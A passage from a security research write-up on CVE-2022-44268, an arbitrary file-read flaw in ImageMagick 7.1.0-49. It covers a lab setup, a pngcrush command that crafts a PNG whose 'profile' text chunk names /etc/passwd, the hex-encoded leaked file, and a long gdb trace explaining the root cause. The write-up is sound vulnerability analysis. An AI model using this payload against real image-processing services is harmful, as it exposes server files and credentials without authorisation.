CVE-2022–44268: Arbitrary Remote Leak in ImageMagick

vsociety
17 min readApr 27, 2024

Arbitrary Remote Leak in ImageMagick 7.1.0–49 has been found and registered as #CVE-2022–44268.

by MHZ Cyber

Introduction

Arbitrary Remote Leak in ImageMagick 7.1.0–49 has been found and registered as #CVE-2022–44268.

What is ImageMagick?

ImageMagick doesn’t really need any introduction because it has been around since August 1, 1990. It’s used everywhere not only on Linux systems but also as a library with other programming languages.

ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Created in 1987 by John Cristy, it can read and write over 200 image file formats. It is widely used in open-source applications.

Programming language: C

Initial release: August 1, 1990; 32 years ago

Stable release: 7.1.0–62 / 12 February 2023

Build the lab

Method 1

  • Download the vulnerable (7.1.0-49) version from here:

https://imagemagick.org/archive/releases/

  • Install the build tools
sudo apt install build-essential make
  • Extract the tar.xz
tar -axvf ImageMagick-7.1.0-49.tar.xz
cd ImageMagick-7.1.0-49/
  • Configure and Install
./configure
sudo make install
sudo ldconfig /usr/local/lib
  • Test ImageMagick
convert pictest.png test2.png
convert --version

This worked for me after that I started to face issues with the PNG library, so if you faced the same issue here is another method to install.

Method 2

git clone https://github.com/SoftCreatR/imei && \
cd imei && \
chmod +x imei.sh
  • Run the script to download all the required libs and install ImageMagick
./imei.sh --im-version 7.1.0-49
  • ./imei.sh --im-version 7.1.0-49

NOTE: After installing using this way if you tried to open convert with GDB and didn’t work, you can run the ./confugre script in Method1 and it will work, that way imei will install all the needed libs and ImageMagick will be installed from the official resource.

However, I think you can just edit the imei script to install only the libs without installing ImageMagick and after that install ImageMagick.

I will add this in a separate blog, so stay tuned.

Background Story

This is a summary to give you general information about what you are going to read, so you can have an easier understanding.

When you pass a PNG image to something like “convert”, there is a function named ReadOnePNGImage which will process the image and also read the text chunk, from there, there is an if condition where it checks if there is the “profile” keyword inside the image metadata, if that the case the code treat any associated text to the keyword “profile” as a filename and using a function named FileToBlob it will read the file and set the string content inside the image.

I’m trying to achieve a more detailed understanding of what’s going on and how this whole vulnerability getting proceed.

Dive deep if you dare :D

Reproducing the attack

  • First, you have to create the payload by embedding the “profile” keyword along with a file path as text, to do that we will use pngcrush tool.
pngcrush -text a "profile" "/etc/passwd" mhzcyber2.png
  • This will generate a new image named “pngout.png” with the text embedded inside it
  • Here we can see the differences between both the original image and the new malicious one.

The original image:

The malicious image:

  • Trigger the exploitation with the following command:
  • convert pngout.png pwnit.png

NOTE: Errors messages are always interesting since they can give us a lot of info that can help with debugging.

  • Check the newly generated image using the following command:

identify -verbose pwnit.png

  • This is hex data
  • Convert the hex to str
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130303a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130313a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130323a3130343a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130343a3131303a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130353a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3130363a3131313a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a75756964643a783a3130373a3131323a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130383a3131333a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6c616e6473636170653a783a3130393a3131353a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3131303a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a7573626d75783a783a3131313a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3131323a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a75733a783a313030303a313030303a75733a2f686f6d652f75733a2f62696e2f626173680a6c78643a783a3939383a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a

Debugging

I need to understand how ImageMagick processes png images, therefore, I can dive deep into the code and understand the vulnerability better.

  • Start gdb as follows:
  • gdb convert
  • use the command lay next and after that press Enter twice

I set a breakpoint at the main function after that run the program

break main

run pngout.png xy.png

I went here with step step-in and next to follow the program execution

This will be a very long execution flow until we hit the first interesting shared library “png.c” and the interesting function for us which is “ReadOnePNGImage”

I recorded the execution here:

ٍSince I did this on multiple days, I have divided this into three parts

NOTE: these are not the precise execution steps since I passed some steps that are not exactly related to understanding the execution flow and the vulnerability.

Part 1:

it starts ywith reading the PNG image using ReadOnePNGImage

2177 int
2213 png_bytep
2216 png_color_16p
2230 png_uint_32
2261 png_byte unused_chunks[]=
2280 logging=IsEventLogging();

MagickCore/log.c
764 {
765 return(event_logging);

coders/png.c
2281 if (logging != MagickFalse)
2345 quantum_info = (QuantumInfo *) NULL;
2346 image=mng_info->image;
2359 intent= Magick_RenderingIntent_to_PNG_RenderingIntent(image->rendering_intent);
1110 switch (ping_colortype)
2363 transparent_color.red=65537;
2364 transparent_color.green=65537;
2365 transparent_color.blue=65537;
2366 transparent_color.alpha=65537;
2377 ping_found_sRGB_cHRM = MagickFalse;
2378 ping_preserve_iCCP = MagickFalse;
2376 ping_found_sRGB = MagickFalse;
2377 ping_found_sRGB_cHRM = MagickFalse;
2378 ping_preserve_iCCP = MagickFalse;
2387 ping=png_create_read_struct_2(PNG_LIBPNG_VER_STRING,&error_info,MagickPNGErrorHandler,MagickPNGWarningHandler, NULL,(png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);
2394 if (ping == (png_struct *) NULL)
2397 ping_info=png_create_info_struct(ping);
2399 if (ping_info == (png_info *) NULL)
2405 end_info=png_create_info_struct(ping);
2407 if (end_info == (png_info *) NULL)
2413 pixel_info=(MemoryInfo *) NULL;
2414 quantum_scanline = (Quantum *) NULL;
2415 quantum_info = (QuantumInfo *) NULL;
2417 if (setjmp(png_jmpbuf(ping)))
2451 LockSemaphoreInfo(ping_semaphore);

MagickCore/semaphore.c
294 {
295 assert(semaphore_info != (SemaphoreInfo *) NULL);
296 assert(semaphore_info->signature == MagickCoreSignature);
306 omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

coders/png.c
2456 png_set_benign_errors(ping, 1);
2465 png_set_user_limits(ping,(png_uint_32) MagickMin(PNG_UINT_31_MAX, GetMagickResourceLimit(WidthResource)),(png_uint_32) MagickMin(PNG_UINT_31_MAX,GetMagickResourceLimit(HeightResource)));

MagickCore/resource.c
798 {
802 switch (type)
807 return(resource_info.height_limit);
798 {
802 switch (type)
815 return(resource_info.width_limit);

coders/png.c
2470 option=GetImageOption(image_info,"png:chunk-cache-max");

MagickCore/option.c
2404 {
2405 assert(image_info != (ImageInfo *) NULL);
2406 assert(image_info->signature == MagickCoreSignature);
2407 if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764 {
765 return(event_logging);

MagickCore/option.c
2410 if (image_info->options == (void *) NULL)
2412 return((const char *) GetValueFromSplayTree((SplayTreeInfo *) image_info->options,option));

MagickCore/splay-tree.c
923 {
930 assert(splay_tree != (SplayTreeInfo *) NULL);
931 assert(splay_tree->signature == MagickCoreSignature);
932 if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764 {
765 return(event_logging);

MagickCore/splay-tree.c
934 if (splay_tree->root == (NodeInfo *) NULL)
936 LockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
294 {
295 assert(semaphore_info != (SemaphoreInfo *) NULL);
296 assert(semaphore_info->signature == MagickCoreSignature);
306 omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
937 SplaySplayTree(splay_tree,key);
1613 if (splay_tree->root == (NodeInfo *) NULL)
1615 if (splay_tree->key != (void *) NULL)
1620 if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1621 compare=splay_tree->compare(splay_tree->root->key,key);
413 {
420 return(LocaleCompare(p,q));

MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1625 if (compare == 0)
1611 static void SplaySplayTree(SplayTreeInfo *splay_tree,const void *key)
1628 (void) Splay(splay_tree,0UL,key,&splay_tree->root,(NodeInfo **) NULL, (NodeInfo **) NULL);
1528 n=(*node);
1529 if (n == (NodeInfo *) NULL)
1536 if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1537 compare=splay_tree->compare(n->key,key);
413 {
420 return(LocaleCompare(p,q));

MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1541 if (compare > 0)
1544 if (compare < 0)
1545 next=(&n->right);
1548 if (depth >= MaxSplayTreeDepth)
1553 n=Splay(splay_tree,depth+1,key,next,node,parent);
1528 n=(*node);
1529 if (n == (NodeInfo *) NULL)
1531 if (parent != (NodeInfo **) NULL)
1532 return(*parent);
1551 return(n);
1554 if ((n != *node) || (splay_tree->balance != MagickFalse))
1557 if (parent == (NodeInfo **) NULL)
1551 return(n);
1630 if (splay_tree->balance != MagickFalse)
1638 splay_tree->key=(void *) key;
938 if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
939 compare=splay_tree->compare(splay_tree->root->key,key);
413 {
420 return(LocaleCompare(p,q));

MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
943 if (compare != 0)
945 UnlockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
450 {
451 assert(semaphore_info != (SemaphoreInfo *) NULL);
452 assert(semaphore_info->signature == MagickCoreSignature);
465 omp_unset_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
946 return((void *) NULL);

coders/png.c
2471 if (option != (const char *) NULL) png_set_chunk_cache_max(ping,(png_uint_32) MagickMin(PNG_UINT_32_MAX, StringToLong(option)));
2475 png_set_chunk_cache_max(ping,32767);
2479 option=GetImageOption(image_info,"png:chunk-malloc-max");

MagickCore/property.c
4711 if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422 (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209 return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843 status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

MagickCore/string.c
679 {
687 if (source != (char *) NULL)
688 length+=strlen(source);

MagickCore/property.c
4362 {
4372 assert(image != (Image *) NULL);
4373 assert(image->signature == MagickCoreSignature);
4374 if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764 {
765 return(event_logging);

MagickCore/property.c
4376 if (image->properties == (void *) NULL) image->properties=NewSplayTree(CompareSplayTreeString, RelinquishMagickMemory,RelinquishMagickMemory);
4379 if (value == (const char *) NULL) return(DeleteImageProperty(image,property));
4381 if (strlen(property) <= 1)

4711 if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422 (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209 return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843 status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

coders/png.c
3370 if (ping_interlace_method == 0)
3372 (void) FormatLocaleString(msg,MagickPathExtent,"%d (Not interlaced)", (int) ping_interlace_method);

MagickCore/locale.c
131 if (c_locale == (locale_t) NULL)
137 return(c_locale);

coders/png.c
3385 (void) SetImageProperty(image,"png:IHDR.interlace_method",msg,exception);

MagickCore/property.c
4362 {
4372 assert(image != (Image *) NULL);
4373 assert(image->signature == MagickCoreSignature);
4374 if (IsEventLogging() != MagickFalse)
4376 if (image->properties == (void *) NULL)
4379 if (value == (const char *) NULL)
4381 if (strlen(property) <= 1)
4711 if (LocaleCompare("profile",property) == 0)

coders/png.c
3387 if (number_colors != 0)
3395 read_tIME_chunk(image,ping,ping_info,exception);
2118 {
2122 if (png_get_tIME(ping,info,&time))
3398 read_eXIf_chunk(image,ping,ping_info,exception);
1950 if (png_get_eXIf_1(ping,info,&size,&data))
3405 if (image->delay != 0)
3408 if ((mng_info->mng_type == 0 && (image->ping != MagickFalse)) || (
3438 if (logging != MagickFalse)
3442 status=SetImageExtent(image,image->columns,image->rows,exception);

MagickCore/image.c
2664 {
2665 if ((columns == 0) || (rows == 0))
2667 image->columns=columns;
2668 image->rows=rows;
2669 if (image->depth == 0)
2675 if (image->depth > (8*sizeof(MagickSizeType)))
2681 return(SyncImagePixelCache(image,exception));

MagickCore/resource.c
798 {
802 switch (type)

Part 2:

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

ConcatenateMagickString (destination=destination@entry=0x5555555c1a00 "", source=0x5555555b6ee8 "/etc/passwd", length=length@entry=13) at MagickCore/string.c:394

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3973

FormatLocaleString (string=string@entry=0x7fffffff25d0 "pngout.png", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:468

FormatLocaleStringList (string=0x7fffffff25d0 "pngout.png", length=4096, format=0x7ffff7e861fb "%s", operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:419

AcquireCLocale () at MagickCore/locale.c:131

FormatLocaleStringList (string=0x7fffffff25d0 "profile", length=4096, format=<optimized out>, operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:461

FormatLocaleString (string=string@entry=0x7fffffff25d0 "profile", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:478

LocaleCompare (p=p@entry=0x7fffffff25d0 "profile", q=q@entry=0x7ffff7e7f546 "width") at MagickCore/locale.c:1407

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3982

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4362

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4381

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4692

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4711

Part 3:

MagickCore/property.c:4711
MagickCore/property.c:4722
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
exception=exception@entry=0x55555558a830) at MagickCore/string.c:1007

MagickCore/string.c
1015 string_info=AcquireStringInfoContainer();
AcquireStringInfoContainer () at MagickCore/string.c:145
147 string_info->signature=MagickCoreSignature;
1016 string_info->path=ConstantString(filename);
679 {
1017 string_info->datum=(unsigned char *) FileToBlob(filename,extent,
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
exception=exception@entry=0x55555558a830) at MagickCore/string.c:1017

MagickCore/blob.c
1398 {
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1398
1423 assert(filename != (const char *) NULL);
1424 assert(exception != (ExceptionInfo *) NULL);
1425 assert(exception->signature == MagickCoreSignature);
1428 *length=0;
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1428
1429 status=IsRightsAuthorized(PathPolicyDomain,ReadPolicyRights,filename);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1430
1437 file=fileno(stdin);
1440 status=GetPathAttributes(filename,&attributes);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1438

MagickCore/utility.c
1189 status=stat_utf8(path,(struct stat *) attributes) == 0 ? MagickTrue :
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1189
stat_utf8 (attributes=0x7ffffffeff10, path=0x5555555c4c90 "/etc/passwd") at MagickCore/utility.c:1189
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1191
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1441
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1455
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1515
MapBlob (file=file@entry=4, mode=mode@entry=ReadMode, offset=offset@entry=0, length=1815) at MagickCore/blob.c:3011
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1523

MagickCore/property.c
SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4725

MagickCore/profile.c
SetImageProfile (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1997
SetImageProfileInternal (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
recursive=recursive@entry=MagickFalse, exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1955

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4727

NOTE: since explaining each line by line of the execution would take an extreme amount of time, I will explain the main used functions and the lines that are related to understanding the vulnerability.

  • Basically it starts with ReadOnePNGImage

ReadOnePNGImage() reads a Portable Network Graphics (PNG) image file (minus the 8-byte signature) and returns it.
It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

The format of the ReadOnePNGImage method is:

Image ReadOnePNGImage(MngInfo mng_info, const ImageInfo image_info, ExceptionInfo exception)

A description of each parameter follows:

o mng_info: Specifies a pointer to a MngInfo structure.

o image_info: the image info.

o exception: return any errors or warnings in this structure.

The function starts at int and here there are several variables that are used to store various characteristics of the PNG image file, such as the PNG rendering intent, the number of raw ICC profiles and text chunks associated with the image, the number of passes required to display the image, and the characteristics of the image data such as bit depth, color type, interlace method, compression method, filter method, and the number of transparent pixels. These variables are used to decode the image data and reconstruct the image.

  • Every time you see this line logging=IsEventLogging(); this means it will go to “MagickCore/log.c” and IsEventLogging() returns MagickTrue if debug of events is enabled otherwise MagickFalse.
  • The code sets a few pointer and variable values, including setting quantum_info to NULL, setting image to point to the image object within the mng_info struct, and setting intent to a value representing the rendering intent for the image. Also sets a few boolean variables and initializes some structures for reading in the PNG image file.
  • After that, it moves to the LockSemaphoreInfo function which locks a semaphore.
  • A description of each parameter follows:

    o semaphore_info: Specifies a pointer to an SemaphoreInfo structure.
  • After that to resource.c to GetMagickResourceLimit function which returns the specified resource limit.
  • Now to “MagickCore/option.c” to GetImageOption function which gets a value associated with the global image options.
  • From here with GetValueFromSplayTree function it will go to “MagickCore/splay-tree.c”. GetValueFromSplayTree() gets a value from the splay-tree by its key.
  • This is where it will start to be interesting which basically from the part2 of the execution record
ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

Basically, the code here reads the text chunk from the image i.e. the file path

else
{
char
*value;

length=text[i].text_length;
value=(char *) AcquireQuantumMemory(length+MagickPathExtent,
sizeof(*value));
if (value == (char *) NULL)
{
png_error(ping,"Memory allocation failed");
break;
}
*value='\0';
(void) ConcatenateMagickString(value,text[i].text,length+2);

/* Don't save "density" or "units" property if we have a pHYs
* chunk
*/
if (!png_get_valid(ping,ping_info,PNG_INFO_pHYs) ||
(LocaleCompare(text[i].key,"density") != 0 &&
LocaleCompare(text[i].key,"units") != 0))
{
char
key[MagickPathExtent];

(void) FormatLocaleString(key,MagickPathExtent,"%s",
text[i].key);
if ((LocaleCompare(key,"version") == 0) ||
(LocaleCompare(key,"width") == 0))
(void) FormatLocaleString(key,MagickPathExtent,"png:%s",
text[i].key);
(void) SetImageProperty(image,key,value,exception);
}

First, a character pointer variable called value is declared. length is set to the length of the text in the current text chunk. Memory is then allocated for value, which will be used to store the text value. The AcquireQuantumMemory function is used for memory allocation.

Next, the code checks if memory allocation for value was successful. If it wasn't, an error message is logged and the loop is broken. If memory allocation was successful, value is set to an empty string using '\0'.

Now the text value is copied into value using the ConcatenateMagickString .

ConcatenateMagickString() concatenates the source string to the destination string.
The destination buffer is always null-terminated even if the string must be truncated.

After that, the program goes through multiple other interesting functions, such as:

  • FormatLocaleStringList
  • FormatLocaleString
  • SetImageProperty which it’s interesting since saves the given string value either to a specific known attribute or to a freeform property string.

scroll down in the SetImageProperty to line 4711

when you follow this code, you found this full function in MagickCore/preperty.c

Basically, the code here using LocaleCompare function to check if the property variable is equal to the string "profile", If the comparison returns zero, meaning the strings are equal, it will continue.

here, I will explain what those functions do and I will focus more on the functions that are more related to the root cause.

AcquireImageInfo() allocates the ImageInfo structure.
The format of the AcquireImageInfo method is: ImageInfo *AcquireImageInfo(void)

The SetImageInfo function is then called to initialize the ImageInfo struct, passing in a value of 1 and an exception parameter.

SetImageInfo() initializes the ‘magick’ field of the ImageInfo structure.
It is set to a type of image format based on the prefix or suffix of the filename. For example, ‘ps:image’ returns PS indicating a Postscript image.
JPEG is returned for this filename: ‘image.jpg’. The filename prefix has precendence over the suffix. Use an optional index enclosed in brackets after a file name to specify a desired scene of a multi-resolution image format like Photo CD (e.g. img0001.pcd[4]). A True (non-zero) return value indicates success.

This line is very interesting

profile=FileToStringInfo(image_info->filename,~0UL,exception);

The FileToStringInfo function is called with the filename of the ImageInfo struct and a flag value ~0UL to read the entire file into memory as a StringInfo struct.

FileToStringInfo() returns the contents of a file as a string.

This function takes three parameters:

  1. filename is a pointer to a character array (i.e., string) that contains the name of the file to read.
  2. extent is a size_t variable indicating the maximum length of the string that should be read from the file. This parameter is used to prevent the function from reading beyond a specified limit, which can help prevent buffer overflow errors.
  3. exception is a pointer to an ExceptionInfo structure. This structure is used to capture any errors or warnings that occur during the execution of the function.

The function also calls the FileToBlob() function, passing in the filename, extent, and exception parameters. This function reads the contents and the file content is stored in the datum field of the StringInfo structure.

string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

FileToBlob() returns the contents of a file as a buffer terminated with the ‘\0’ character. The length of the buffer (not including the extra terminating ‘\0’ character) is returned via the ‘length’ parameter. Free the buffer with RelinquishMagickMemory().

The interesting part of the FileToBlob() function is this:

file=fileno(stdin);
if (LocaleCompare(filename,"-") != 0)
{
status=GetPathAttributes(filename,&attributes);
if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))
{
ThrowFileException(exception,BlobError,"UnableToReadBlob",filename);
return(NULL);
}
file=open_utf8(filename,O_RDONLY | O_BINARY,0);
}
if (file == -1)
{
ThrowFileException(exception,BlobError,"UnableToOpenFile",filename);
return(NULL);
}

basically, the function will check if the filename contains “-” it will try to read from stdin input otherwise it will start with the GetPathAttributes function which retrieves information about the file specified by filename, such as its type, size, and permissions. GetPathAttributes can be found in MagickCore/utility.c here:

If the GetPathAttributes function returns MagickFalse, indicating an error occurred, or if the file type is a directory, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned.

Now if the file type is not a directory, the open_utf8 function is called with the filename This function attempts to open the file specified by filename in read-only mode, and returns a file descriptor that is assigned to the file variable. If the open_utf8 function fails and returns -1, indicating an error, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned, Otherwise, the file descriptor is returned to the calling function.

Now going back to the if (LocaleCompare("profile",property)==0) in MagicCore/property.c

If the StringInfo is successfully read, the SetImageProfile function is called to set the image's profile using the image's format (image_info->magick), the StringInfo struct, and the exception parameter.

The StringInfo struct is then destroyed using DestroyStringInfo.

if (profile != (StringInfo *) NULL)
{
status=SetImageProfile(image,image_info->magick,profile,
exception);
profile=DestroyStringInfo(profile);
}

Finally, the ImageInfo struct is destroyed using DestroyImageInfo, and the function returns MagickTrue.

image_info=DestroyImageInfo(image_info);
return(MagickTrue);

If the property variable is not equal to the string "profile", the program breaks out of the if statement.

break; /* not an attribute, add as a property */

basically, all these steps are in the gdb, and you can follow them in the execution flow that I recorded and attached above.

I did all this by following gdb step by step and going through the execution.

Now just to summarize the execution flow:

